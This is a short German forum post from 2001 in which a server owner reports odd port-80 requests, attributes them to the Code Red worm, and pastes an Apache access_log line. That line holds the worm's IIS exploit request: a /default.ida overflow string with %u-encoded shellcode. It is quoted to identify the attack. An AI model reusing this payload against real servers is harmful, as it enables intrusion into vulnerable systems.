hm, ich habe seit 1. August auch seltsame Zugriffe auf Port 80, allerdings bei weitem nicht so häufig (15 - 20/Tag). Allerdings sind heute die meisten Zugriffsversuche gekommen. Ich würde auch sagen, dass Code Red umgeht. Zum Glück hab ich auf das bessere OS gesetzt
Sieht folgendermassen im access_log vom Apache aus:
212.19.61.90 - - [06/Aug/2001:19:23:30 +0200] "GET /default.ida XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u 9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u90 90%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078 %u0000%u00=a HTTP/1.0" 404 205